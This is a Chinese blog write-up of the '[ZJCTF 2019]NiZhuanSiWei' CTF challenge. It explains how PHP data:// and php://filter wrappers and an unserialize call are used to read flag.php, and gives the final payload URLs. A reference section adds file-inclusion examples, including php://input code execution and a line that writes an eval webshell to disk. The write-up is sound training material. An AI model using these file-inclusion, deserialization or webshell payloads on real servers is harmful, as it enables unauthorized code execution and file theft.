[ZJCTF 2019]NiZhuanSiWei

本文详细分析了一段PHP源码,探讨了如何通过GET参数绕过条件并利用PHP伪协议来读取和执行文件。通过data://协议和php://filter,实现了对flag.php的访问,并通过序列化技巧获取了flag。最后,构造了payload以在给定的源码上下文中触发flag的显示。
摘要由CSDN通过智能技术生成
打开环境,直接给出源码:
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

 

分析源码,需要GET方式传入三个参数,text,file,password。必须满足第一个if,$text存在且用file_get_conts函数打开为 welcome to the zjctf( file_get_contents() 把整个文件读入一个字符串中 ), 如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功
此处绕过可以用date协议:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

 

 

data:// 协议

  • 条件
    • allow_url_fopen :on
    • allow_url_include  :on
  • 作用 :自 PHP>=5.2.0 起,可以使用 data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
  • 用法
    data: // text/plain,
    data: // text/plain;base64,
  • 示例
    1. data://text/plain,
      http: //127.0.0.1/include.php?file= data://text/plain , <?php %20phpinfo(); ?>

       

       
    2. data://text/plain;base64,
      http :// 127.0.0.1 /include.php?file=data://text/plain;base 64 ,PD 9 waHAgcGhwaW 5 mbygpOz 8 % 2 b

       

       
页面显示了welcome to the zjctf,说明成功了,在往下看(也可以用php//:input,但需要bp post传值,不能用hackbar, 因为在 post 中没有设置变量不能访问,所以用bp抓包)。
 
用正则方式过滤了flag,file中不能有flag, 提示了有一个  useless.php  ,想到之前说的PHP伪协议中的 php://filter 读取文件:
构造:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&php://filter/read=convert.base64-encode/resource=useless.php

 

php:// 协议

协议
作用
php://input
可以访问请求的原始数据的只读流,在POST请求中访问POST的 data 部分,在 enctype="multipart/form-data"  的时候 php://input  是无效的。
php://output
只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd
(>=5.3.6)允许直接访问指定的文件描述符。例如  php://fd/3  引用了文件描述符 3。
php://memory php://temp
(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是  php://memory  总是把数据储存在内存中,而  php://temp  会在内存量达到预定义的限制后(默认是  2MB )存入临时文件中。临时文件位置的决定和  sys_get_temp_dir()  的方式一致。
php://filter
(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式 (all-in-one) 的文件函数非常有用,类似  readfile() file()  和  file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。
php://filter 参数
描述
 
resource=<要过滤的数据流>
必须项。它指定了你要筛选过滤的数据流。
 
read=<读链的过滤器>
可选项。可以设定一个或多个过滤器名称,以管道符(*\
*)分隔。
write=<写链的过滤器>
可选项。可以设定一个或多个过滤器名称,以管道符(\
)分隔。
<; 两个链的过滤器>
任何没有以  read=  或  write=  作前缀的筛选器列表会视情况应用于读或写链。
 
字符串过滤器
作用
string.rot13
等同于 str_rot13() ,rot13变换
string.toupper
等同于 strtoupper() ,转大写字母
string.tolower
等同于 strtolower() ,转小写字母
string.strip_tags
等同于 strip_tags() ,去除html、PHP语言标签
转换过滤器
作用
convert.base64-encode & convert.base64-decode
等同于 base64_encode() base64_decode() ,base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode
quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器
作用
zlib.deflate & zlib.inflate
在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress
同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器
作用
mcrypt.*
libmcrypt 对称加密算法
mdecrypt.*
libmcrypt 对称解密算法
  • 条件
    • allow_url_fopen :off/on
    • allow_url_include  :仅 php://input php://stdin php://memory php://temp  需要on
  • 作用
    php://  访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter php://input php://filter 用于 读取源码 php://input 用于 执行php代码
  •  

    说明
    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
    内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
  • php://filter 参数详解
    该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
  • 可用的过滤器列表(4类)
    此处列举主要的过滤器类型
  • 示例
    1. php://filter/read=convert.base64-encode/resource=[文件名] 读取文件源码(针对php文件需要base64编码)
      http :// 127.0 .0 .1 / include .php? file =php:// filter / read = convert .base64-encode/resource=phpinfo.php

       

       
    2. php://input + [POST DATA] 执行php代码
      http: //127.0.0.1/include.php?file=php://input
      [POST DATA部分]
      <?php phpinfo(); ?>

       

       
      若有写入权限,写入一句话木马
      http: //127.0.0.1/include.php?file=php://input
      [POST DATA部分]
      <?php fputs(fopen( '1juhua.php' , 'w' ), '<?php @eval($_GET[cmd]); ?>' ); ?>

       

       
 
得到base64的代码:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

 

 
解码得:
<?php

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

 

 
结合前面源码,将flag调用,然后给里面file值赋值为flag.php。
序列化后传入password,应该就会出flag。
 
将Flag类序列化
<?php  

class Flag{  //flag.php  
    public $file=flag.php;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
$a->file="flag.php";
echo serialize($a);

 

 
得到序列化字符串:  
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造payload:
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file= php://filter/read=convert.base64-encode/resource=useless.php &password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag 。
最后为:
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

在源码中就能看到答案。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值